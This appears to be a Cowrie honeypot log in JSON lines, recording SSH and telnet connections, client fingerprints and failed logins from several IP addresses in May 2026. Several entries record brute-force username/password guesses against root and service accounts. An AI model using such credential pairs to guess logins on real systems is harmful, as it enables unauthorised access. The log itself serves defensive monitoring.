{"eventid":"cowrie.session.closed","duration":47.095905780792236,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:20.727137Z","src_ip":"192.119.13.58","session":"d4784eecfd40","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:20.848633Z","src_ip":"170.238.160.191","session":"24a04635280d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:21.231954Z","src_ip":"45.153.34.112","session":"17e9c3b1829b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d1g1t4l","message":"login attempt [root/d1g1t4l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:21.382979Z","src_ip":"170.238.160.191","session":"24a04635280d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:22.512427Z","src_ip":"170.238.160.191","session":"24a04635280d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43038,"dst_ip":"10.17.0.5","dst_port":23,"session":"b26f8ecaa7cf","protocol":"telnet","message":"New connection: 192.119.13.58:43038 (10.17.0.5:23) [session: b26f8ecaa7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:22.821540Z"}
{"eventid":"cowrie.session.closed","duration":40.36202001571655,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:22.924939Z","src_ip":"192.119.13.58","session":"b5117fc6789a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40232,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0ef313e4abb","protocol":"ssh","message":"New connection: 45.153.34.112:40232 (10.17.0.5:22) [session: c0ef313e4abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:22.993397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:22.999790Z","src_ip":"45.153.34.112","session":"c0ef313e4abb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":39368,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ea22cc3504d","protocol":"ssh","message":"New connection: 185.236.22.41:39368 (10.17.0.5:22) [session: 9ea22cc3504d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:23.038117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:23.102420Z","src_ip":"185.236.22.41","session":"9ea22cc3504d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:23.181198Z","src_ip":"185.236.22.41","session":"9ea22cc3504d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:23.190147Z","src_ip":"45.153.34.112","session":"c0ef313e4abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:23.519339Z","src_ip":"45.153.34.112","session":"c0ef313e4abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555","message":"login attempt [root/555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:23.603376Z","src_ip":"185.236.22.41","session":"9ea22cc3504d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":40734,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d0f2b56e099","protocol":"ssh","message":"New connection: 43.153.112.253:40734 (10.17.0.5:22) [session: 8d0f2b56e099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:23.860547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:23.866366Z","src_ip":"43.153.112.253","session":"8d0f2b56e099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:23.934679Z","src_ip":"43.153.112.253","session":"8d0f2b56e099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baptiste","message":"login attempt [root/baptiste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:24.238858Z","src_ip":"43.153.112.253","session":"8d0f2b56e099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:24.670416Z","src_ip":"45.153.34.112","session":"c0ef313e4abb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:24.739889Z","src_ip":"185.236.22.41","session":"9ea22cc3504d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:25.311219Z","src_ip":"43.153.112.253","session":"8d0f2b56e099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40248,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0ff94546fcd","protocol":"ssh","message":"New connection: 45.153.34.112:40248 (10.17.0.5:22) [session: a0ff94546fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:26.573803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:26.579048Z","src_ip":"45.153.34.112","session":"a0ff94546fcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:26.661515Z","src_ip":"45.153.34.112","session":"a0ff94546fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.69893932342529,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:26.732915Z","src_ip":"192.119.13.58","session":"2eb61e618a07","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"terraria","password":"123456","message":"login attempt [terraria/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:27.146715Z","src_ip":"45.153.34.112","session":"a0ff94546fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:28.232881Z","src_ip":"45.153.34.112","session":"a0ff94546fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.547285556793213,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:29.368705Z","src_ip":"192.119.13.58","session":"b26f8ecaa7cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34266,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9c77202e9c4","protocol":"ssh","message":"New connection: 45.153.34.112:34266 (10.17.0.5:22) [session: a9c77202e9c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:30.268327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:30.274326Z","src_ip":"45.153.34.112","session":"a9c77202e9c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:30.357927Z","src_ip":"45.153.34.112","session":"a9c77202e9c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:30.606797Z","src_ip":"45.153.34.112","session":"a9c77202e9c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.183671951293945,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:31.129445Z","src_ip":"192.119.13.58","session":"8dc76f3a0eca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:31.832373Z","src_ip":"45.153.34.112","session":"a9c77202e9c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.251.244.178","src_port":56044,"dst_ip":"10.17.0.5","dst_port":22,"session":"866b7b1295ce","protocol":"ssh","message":"New connection: 106.251.244.178:56044 (10.17.0.5:22) [session: 866b7b1295ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:32.962854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:32.967813Z","src_ip":"106.251.244.178","session":"866b7b1295ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:33.177281Z","src_ip":"106.251.244.178","session":"866b7b1295ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34268,"dst_ip":"10.17.0.5","dst_port":22,"session":"73af44e9add4","protocol":"ssh","message":"New connection: 45.153.34.112:34268 (10.17.0.5:22) [session: 73af44e9add4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:33.672675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:33.677635Z","src_ip":"45.153.34.112","session":"73af44e9add4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:33.760316Z","src_ip":"45.153.34.112","session":"73af44e9add4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bermuda","message":"login attempt [root/bermuda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:34.036779Z","src_ip":"106.251.244.178","session":"866b7b1295ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samanalid","password":"123456","message":"login attempt [samanalid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:34.119325Z","src_ip":"45.153.34.112","session":"73af44e9add4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:35.209084Z","src_ip":"45.153.34.112","session":"73af44e9add4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:35.246035Z","src_ip":"106.251.244.178","session":"866b7b1295ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47128,"dst_ip":"10.17.0.5","dst_port":23,"session":"22edeadbb1f6","protocol":"telnet","message":"New connection: 192.119.13.58:47128 (10.17.0.5:23) [session: 22edeadbb1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:36.896947Z"}
